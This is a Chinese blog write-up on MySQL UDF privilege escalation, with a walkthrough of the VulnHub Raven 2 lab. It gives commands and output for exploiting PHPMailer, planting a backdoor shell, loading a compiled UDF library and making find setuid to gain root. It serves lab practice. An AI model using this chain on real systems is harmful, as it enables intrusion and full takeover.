Raven-2-WordPress-UDF提權

NoCirc1e發表於2024-05-05

0x00 什麼是UDF

UDF 全稱為:User Defined Function,意為使用者自定義函式;使用者可以新增自定義的新函式到Mysql中,以達到功能的擴充,呼叫方式與一般系統自帶的函式相同,例如 contact(),user(),version()等函式。
udf 檔案字尾一般為 dll,由C、C++編寫。

0x01 UDF在滲透中的作用

在一般滲透過程中,拿下一臺windows伺服器的webshell時,由於webshell許可權較低,有些操作無法進行,而此時本地恰好存在MySQL資料庫,那麼udf可能就派上用場了;由於Windows安裝的MySQL程序一般都擁有管理員許可權,這就意味著使用者自定義的函式也擁有管理員許可權,我們也就擁有了執行管理員命令的許可權,這時新建管理員使用者等操作也就輕而易舉了,大多數人稱為這一操作為udf提權,其實表達不夠準確,應該稱為透過MySQL獲得管理員許可權。

0x02 利用條件

利用udf的條件其實還是挺苛刻的
MySQL使用者許可權問題

  • 獲得一個資料庫賬號,擁有對MySQL的insert和delete許可權,以root為佳。
  • 擁有將udf.dll寫入相應目錄的許可權。

使用的函式:

sys_eval,執行任意命令,並將輸出返回。

sys_exec,執行任意命令,並將退出碼返回。

sys_get,獲取一個環境變數。

sys_set,建立或修改一個環境變數。

0x03 資料庫版本問題

udf利用的其中一步,是要將我們的xxx.dll檔案上傳到MySQL檢索目錄中,MySQL各版本的檢索目錄有所不同:

版本 路徑
MySQL < 5.0 匯出路徑隨意;
5.0 <= MySQL< 5.1 需要匯出至目標伺服器的系統目錄(如:c:/windows/system32/)
5.1 < MySQL 必須匯出到MySQL安裝目錄下的lib\plugin資料夾下

一般Lib、Plugin資料夾需要手工建立(可用NTFS ADS流模式突破進而建立資料夾)
建立方法:

select @@basedir;  //查詢到mysql的目錄
 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS建立lib目錄
 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS建立plugin目錄

0x04 VulnHub-Raven: 2 靶場滲透測試

靶場資訊:
地址:https://www.vulnhub.com/entry/raven-2,269/
釋出日期:2018年11月9日
目標:得到root許可權並且找到4個flag
難度:中級
執行:VMware Workstation Pro
描述:Raven 2 is an intermediate level boot2root VM. There are four flags to capture. After multiple breaches, Raven Security has taken extra steps to harden their web server to prevent hackers from getting in. Can you still breach Raven?

4.1、資訊蒐集

使用nmap獲取目標ip地址為192.168.75.144

nmap -sP 192.168.75.0/24

sP:用ping掃描判斷主機是否存活,只有主機存活,nmap才會繼續掃描,一般最好不加,因為有的主機會禁止ping


掃描開啟的埠和服務

nmap -sS -sV -T5 -A -p- 192.168.75.144

sS:引數-sS表示使用TCP SYN方式掃描TCP埠
sV:指定讓Nmap進行版本偵測
T5:指定掃描過程使用的時序,總有6個級別(0-5),級別越高,掃描速度越快,但也容易被防火牆或IDS檢測並遮蔽掉,在網路通訊狀況較好的情況下推薦使用T4


獲得四個埠資訊

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
39855/tcp open status 1 (RPC #100024)

4.2、網站資訊蒐集與漏洞利用

  1. 訪問ip

  1. 點選BLOG的時候跳轉到了WordPress的一個站點,在搜尋框測試,url由我們輸入的ip地址變成了raven.local


  1. 掃描一下http://raven.local/目錄

這裡用到Kali Linux下DIRB工具
DIRB是一個Web內容掃描程式。它查詢現有的(和/或隱藏的)Web物件。它基本上是透過對Web伺服器發起基於字典的攻擊並分析響應來工作的。

什麼是DIRB
DIRB是一個Web內容掃描程式。它查詢現有的(和/或隱藏的)Web物件。它基本上是透過對Web伺服器發起基於字典的攻擊並分析響應來工作的。

  1. 新增hosts檔案項

具體做法如下,中間使用tab

vim /etc/hosts

  1. 現在掃描目錄就正常了(直接掃IP也可 dirb http://192.168.75.144

  1. 掃描結果主要分為三個Web資訊目錄
  • http://raven.local/vendor/
  • http://raven.local/wordpress/
  • http://raven.local/manual/
  1. 繼續使用dirb掃描目錄
dirb http://raven.local/wordpress/

  1. 找到flag3

  1. http://192.168.75.144/wordpress/wp-content/uploads/2018/11/flag3.png

  1. http://raven.local/vendor/ 存在任意檔案遍歷,並且在 PATH 目錄下隱藏了一個flag

還得知整個網站搭建在 /var/www/html/ 目錄下

  1. 並且發現了 PHPMailerAutoload.php 這個顯眼的php檔案,直接讓人想到PHPMailer命令執行漏洞

  1. 在Kali中搜尋相關漏洞searchsploit phpmailer

  1. 把相關指令碼複製到當前目錄:
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./

  1. 並且修改相關引數,target目標ip,要接收到的攻擊者的ip,埠,路徑:

  1. 儲存exp的py程式,exp成功執行,訪問後門檔案 backdoor.php ,並設定埠監聽:


  1. 使用python獲得完整性shell
python -c 'import pty; pty.spawn("/bin/bash")'

  1. 在/var/www/目錄找到flag2.txt

  1. 沒有在網上找到可以利用的核心提權指令碼,這裡繼續進行資訊蒐集

在/var/www/html/wordpress/wp-config.php中發現mysql資料庫密碼

root:R@v3nSecurity
  1. netstat -a 檢視所有socket連結狀況:

  1. 發現mysql服務啟動

ps aus | grep root 顯示有root字串的程序和其狀態,換句話說就是查詢出以root許可權執行的服務

  1. 嘗試mysql的udf提權

找exp編號,並在Kali上搜尋:

searchsploit 1518

  1. 具體怎麼用,還需要看exp的說明 https://www.exploit-db.com/exploits/1518

  1. 先將exp 1518.c 在本地linux上編譯完成後,再上傳到靶機,這樣能避免好多問題:

gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

-g 生成除錯資訊

-shared 建立一個動態連結庫,輸入檔案可以是原始檔、彙編檔案或者目標檔案

-Wl選項告訴編譯器將後面的引數傳遞給連結器。

-soname則指定了動態庫的soname(簡單共享名,Short for shared object name)
soname的關鍵功能是它提供了相容性的標準:

當要升級系統中的一個庫時,並且新庫的soname和老庫的soname一樣,用舊庫連結生成的程式使用新庫依然能正常執行。這個特性使得在Linux下,升級使得共享庫的程式和定位錯誤變得十分容易。-o 生成的檔案
-lc,-l 庫 ,c庫名
  1. 下載動態連結庫到靶機

使用python搭建http服務,使用shell下載到靶機

python3 -m http.server 8888

  1. 上傳成功後,在靶機上鍊接MySQL資料庫並操作:
www-data@Raven:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: R@v3nSecurity
 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 78
Server version: 5.5.60-0+deb8u1 (Debian)
 
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
 
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+
4 rows in set (0.10 sec)
 
mysql> use wordpress;
use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
mysql> create table foo(line blob);           
create table foo(line blob);
Query OK, 0 rows affected (0.15 sec)
 
mysql> insert into foo values(load_file('/var/www/html/1518.so'));     
insert into foo values(load_file('/var/www/html/1518.so'));
Query OK, 1 row affected (0.09 sec)                                                         
 
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; 
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.00 sec)
 
mysql> create function do_system returns integer soname '1518.so';      
create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.03 sec)
 
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------+----------+
| name      | ret | dl      | type     |
+-----------+-----+---------+----------+
| do_system |   2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)
 
mysql> select do_system('chmod u+s /usr/bin/find');                       
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.10 sec)
 
mysql>
 
mysql> quit
quit
Bye
 
www-data@Raven:/var/www/html$ touch foo
touch foo
www-data@Raven:/var/www/html$ find foo -exec 'whoami' \;
find foo -exec 'whoami' \;
root
www-data@Raven:/var/www/html$ find foo -exec 'id' \;
find foo -exec 'id' \;
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
www-data@Raven:/var/www/html$ find foo -exec '/bin/sh' \;
find foo -exec '/bin/sh' \;
#
# whoami
whoami
root
#
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# cd /root
cd /root
# ls
ls
flag4.txt
# cat flag4.txt
cat flag4.txt
  ___                   ___ ___
 | _ \__ ___ _____ _ _ |_ _|_ _|
 |   / _` \ V / -_) ' \ | | | |
 |_|_\__,_|\_/\___|_||_|___|___|
                            
flag4{df2bc5e951d91581467bb9a2a8ff4425}
 
CONGRATULATIONS on successfully rooting RavenII
 
I hope you enjoyed this second interation of the Raven VM
 
Hit me up on Twitter and let me know what you thought:
 
@mccannwj / wjmccann.github.io
#


除了 do_system 外還可以使用其他函式:

sys_eval,執行任意命令,並將輸出返回。
sys_exec,執行任意命令,並將退出碼返回。
sys_get,獲取一個環境變數。
sys_set,建立或修改一個環境變數。
  1. 攻擊過程中,如果是linux系統,需要將lib_mysqludf_sys.so上傳到資料庫能訪問的路徑下。lib_mysqludf_sys.so的匯出路徑:
MySQL<5.0,匯出路徑隨意;
5.0 <= MySQL<5.1,則需要匯出至目標伺服器的系統目錄(如:system32)
MySQL 5.1以上版本,必須要把 lib_mysqludf_sys.so 檔案放到MySQL安裝目錄下的lib\plugin\資料夾下才能建立自定義函式。(此處需要注意:動態庫的放置位置為目標機器mysql外掛路徑,可用以下命令獲取:show variables like "%plugin%";)
  1. 啟用儲存過程 do_system 函式:
create function do_system returns string soname 'lib_mysqludf_sys.so ';
  1. 進行到此已可用root身份執行命令,替換id即可

如:select do_system('whoami'); 這將以root身份啟動一個應用程式:

select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');  

(chown raptor.raptor 應按實際使用者身份更改)
而文中使用了:

select do_system('chmod u+s /usr/bin/find'); 

就是給 find 命令加上 setuid 的標誌,然後呼叫find的-exec指令來執行命令,具體參考:http://www.cnblogs.com/aaronax/p/5618024.html

chmod u+s temp — 為temp檔案加上setuid標誌. (setuid 只對檔案有效)
chmod g+s tempdir — 為tempdir目錄加上setgid標誌 (setgid 只對目錄有效)
chmod o+t temp — 為temp檔案加上sticky標誌 (sticky只對檔案有效)

0x05 參考連結

  • https://www.cnblogs.com/bmjoker/p/10034001.html
  • https://www.freebuf.com/articles/web/261047.html

相關文章